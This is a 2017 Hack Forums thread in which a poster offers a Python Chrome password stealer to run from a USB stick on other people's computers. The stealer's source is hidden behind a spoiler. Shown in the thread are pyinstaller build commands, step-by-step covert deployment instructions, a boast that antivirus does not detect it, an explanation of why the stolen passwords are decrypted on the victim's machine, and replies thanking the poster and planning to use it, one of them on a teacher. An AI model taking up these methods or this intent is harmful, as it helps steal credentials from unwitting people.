Python Plug and Steal, Chrome Password Stealer [Python 3.5]

[Python] Plug and Steal, Chrome Password Stealer [Python 3.5] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] Plug and Steal, Chrome Password Stealer [Python 3.5] (/showthread.php?tid=5548841)

Pages: Pages 1 2 3

Plug and Steal, Chrome Password Stealer [Python 3.5] - 05317832892 - Feb 11, 2017

Fixed and updated my old password recovery script and made some changes, it was trying to connect to the original database and so it had to wait for chrome to close to connect to the database and recover passwords, this new version makes a copy of the table, extracts info, decrypts and dumps.

Application?

1) Compile to single exe bcoz dependencies are for noobs

Code 
pyinstaller -F -w recover.py

Code 
pyinstaller -F -w -i myicon.ico recover.py

^If you want an icon, please note when u change the icon it bugs because windows caches the previous one, move to a different folder to fix this

2) Put on USB

3) Plug into computer

4) Execute recover.exe

5) Remove USB, now containing dumped passwords

6) Run for your life and if they catch you, eat the USB to conceal evidence, it will come out 6-8 hours later with all the passwords hopefully intact

Source Code:
Spoiler (Click to View)

Scan:
Spoiler (Click to View)

ToS:

I ain't responsible for anything
Don't be idiot and scan on virustotal, it's not fun for anyone

* - s‌hane - Feb 11, 2017

Thanks for the tutorial man, will definitely use this.

* - JuicyProgramming - Feb 11, 2017

Seems interesting, planning on adding more browsers?

* - HFDone - Feb 11, 2017

this will save you the w mode code
def logit(content):
with open("dump.txt", "a+") as f:
f.write(content)

* - 05317832892 - Feb 11, 2017

(Feb 11, 2017 12:15 PM)MCFC Wrote: Seems interesting, planning on adding more browsers?

Maybe in the future.

(Feb 11, 2017 12:23 PM)HFDone Wrote: this will save you the w mode code
def logit(content):
with open("dump.txt", "a+") as f:
f.write(content)

Nice, I'll contemplate this.

* - xthanos - Feb 11, 2017

Why did you scan a python script for malware haha

* - hunter24957 - Feb 11, 2017

(Feb 11, 2017 02:46 PM)#beef Wrote: Why did you scan a python script for malware haha

I was thinking the same thing 🤣

* - (╯°□°）╯︵ ┻━━┻ - Feb 11, 2017

Code 
if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":

Can be changed to

Code 
if url and user_name and pwd[1].decode('utf-8'):

* - redstone - Feb 11, 2017

I have no idea how the Chrome login data is stored, and I haven't gotten home yet to take an actual look at the script, only skim through the code. Perhaps this is a dumb question, but why not steal the data while it is encrypted, that way when you try to steal your 7th grade teacher's login data, that way there is no possible log evidence of the actual login data being stolen.

* - HFDone - Feb 12, 2017

(Feb 11, 2017 04:42 PM)(╯°□°）╯︵ ┻━━┻ Wrote:
Code
if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":

Can be changed to

Code
if url and user_name and pwd[1].decode('utf-8'):

cuz the pass is the most importent
if pwd: ...

* - 05317832892 - Feb 12, 2017

(Feb 11, 2017 02:46 PM)#beef Wrote: Why did you scan a python script for malware haha

(Feb 11, 2017 03:49 PM)hunter24957 Wrote: I was thinking the same thing 🤣

Scanned the compiled exe. It's flagged my some private labs when scanned on virustotal but it's FUD to the mainstream AVs as shown in the maj scan.

(Feb 11, 2017 04:42 PM)(╯°□°）╯︵ ┻━━┻ Wrote:
Code
*snip*

Can be changed to

Code
*snip*

Thanks, I'll update when I'm on my PC.

(Feb 11, 2017 07:36 PM)J. Cole Wrote: I have no idea how the Chrome login data is stored, and I haven't gotten home yet to take an actual look at the script, only skim through the code. Perhaps this is a dumb question, but why not steal the data while it is encrypted, that way when you try to steal your 7th grade teacher's login data, that way there is no possible log evidence of the actual login data being stolen.

Stored in an SQLite3 table with the passwords being encrypted with windows built in data protection. It's essentially a triple DES with the key somewhat related to the machine HWID.

Basically the passwords can only be decrypted on the machine they are encrypted on because the algorithm is slightly different on every windows computer, thus we have to decrypt the passwords on the machine that they were encrypted on. Stolen encrypted passwords are useless unless you have access to the machine they were encrypted on. This script steals and decrypts them all in one go.

(Feb 12, 2017 01:45 AM)HFDone Wrote: cuz the pass is the most importent
if pwd: ...

No, his solution works fine, it's just a simple logic test to ensure none of the fields are blank.

* - .::TroJan::. - Feb 13, 2017

Works great thank you so much :)

* - FrogSquad4 - Feb 13, 2017

mac version? I noticed it had an error with the win32crypt

* - 05317832892 - Feb 14, 2017

(Feb 13, 2017 01:12 PM)FrogSquad4 Wrote: mac version? I noticed it had an error with the win32crypt

Mac does not have WINDOWS32crypt lol.

I don't know how chrome on Mac secures passwords.

* - FrogSquad4 - Feb 14, 2017

(Feb 14, 2017 03:10 AM)★Cam★ Wrote: Mac does not have WINDOWS32crypt lol.

I don't know how chrome on Mac secures passwords.

No, I meat IS there a mac version. I knew macs don't have windows32crypt.